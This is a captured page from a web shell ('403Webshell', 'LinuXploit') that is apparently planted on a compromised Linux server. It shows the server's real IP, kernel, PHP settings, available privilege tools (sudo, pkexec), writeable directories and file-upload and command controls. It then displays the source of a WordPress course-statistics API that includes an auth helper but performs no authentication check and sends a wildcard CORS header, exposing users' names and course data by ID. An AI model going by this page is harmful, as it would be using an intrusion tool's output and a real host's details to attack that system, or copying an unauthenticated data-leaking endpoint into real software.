403Webshell
Server IP : 158.247.231.215  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux CTMS 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/blockstorage/ctms/api/custom-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/blockstorage/ctms/api/custom-api/user-course-stats.php
<?php
/**
 * User Course Statistics API
 * GET /api/custom-api/user-course-stats.php?user_id={id}
 */

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, OPTIONS');
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type, Authorization");
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// Load WordPress
require_once('/mnt/blockstorage/ctms/wp-load.php');
require_once('auth-helper.php');

if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
    send_error_response('Only GET requests are allowed', 405);
}

// Get user_id parameter
$user_id = isset($_GET['user_id']) ? intval($_GET['user_id']) : 0;

if (!$user_id) {
    send_error_response('User ID is required', 400);
}

// Check if user exists
$user = get_user_by('ID', $user_id);
if (!$user) {
    send_error_response('User not found', 404);
}

// Get course statistics
function get_enrolled_courses_count($user_id) {
    global $wpdb;
    $count = $wpdb->get_var($wpdb->prepare(
        "SELECT COUNT(DISTINCT class_id) FROM {$wpdb->prefix}class_enrollment WHERE student_id = %d",
        $user_id
    ));
    return (int) $count;
}

function get_completed_course_ids($user_id) {
    global $wpdb;
    $completed_meta = $wpdb->get_results($wpdb->prepare(
        "SELECT meta_key, meta_value FROM {$wpdb->prefix}usermeta WHERE user_id = %d AND (meta_key LIKE '_tutor_course_completed_%%' OR meta_key LIKE '%%course_completed%%')",
        $user_id
    ));

    $completed_ids = array();
    foreach ($completed_meta as $meta) {
        if (strpos($meta->meta_key, '_tutor_course_completed_') === 0) {
            $course_id = str_replace('_tutor_course_completed_', '', $meta->meta_key);
            if (is_numeric($course_id)) {
                $completed_ids[] = (int) $course_id;
            }
        }
    }

    if (function_exists('tutor_utils')) {
        $enrolled_ids = $wpdb->get_col($wpdb->prepare(
            "SELECT DISTINCT class_id FROM {$wpdb->prefix}class_enrollment WHERE student_id = %d",
            $user_id
        ));

        foreach ($enrolled_ids as $course_id) {
            $course_progress = tutor_utils()->get_course_completed_percent($course_id, $user_id);
            if (isset($course_progress['completed_percent']) && $course_progress['completed_percent'] >= 100) {
                if (!in_array($course_id, $completed_ids)) {
                    $completed_ids[] = (int) $course_id;
                }
            }
        }
    }

    return array_unique($completed_ids);
}

function get_active_courses_count($user_id) {
    if (function_exists('tutor_utils')) {
        $active_courses = tutor_utils()->get_active_courses_by_user($user_id);
        if (is_object($active_courses) && $active_courses->have_posts()) {
            return $active_courses->post_count;
        }
    }

    global $wpdb;
    $enrolled_ids = $wpdb->get_col($wpdb->prepare(
        "SELECT DISTINCT class_id FROM {$wpdb->prefix}class_enrollment WHERE student_id = %d",
        $user_id
    ));

    if (empty($enrolled_ids)) {
        return 0;
    }

    $completed_ids = get_completed_course_ids($user_id);
    $active_ids = array_diff($enrolled_ids, $completed_ids);
    return count($active_ids);
}

function get_completed_courses_count($user_id) {
    if (function_exists('tutor_utils')) {
        $completed_courses = tutor_utils()->get_completed_courses_ids_by_user($user_id);
        return count($completed_courses);
    }
    $completed_ids = get_completed_course_ids($user_id);
    return count($completed_ids);
}

$enrolled_count = get_enrolled_courses_count($user_id);
$active_count = get_active_courses_count($user_id);
$completed_count = get_completed_courses_count($user_id);

send_json_response(array(
    'success' => true,
    'user_id' => $user_id,
    'user_name' => $user->display_name,
    'statistics' => array(
        'enrolled_courses' => $enrolled_count,
        'active_courses' => $active_count,
        'completed_courses' => $completed_count,
    ),
), 200);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit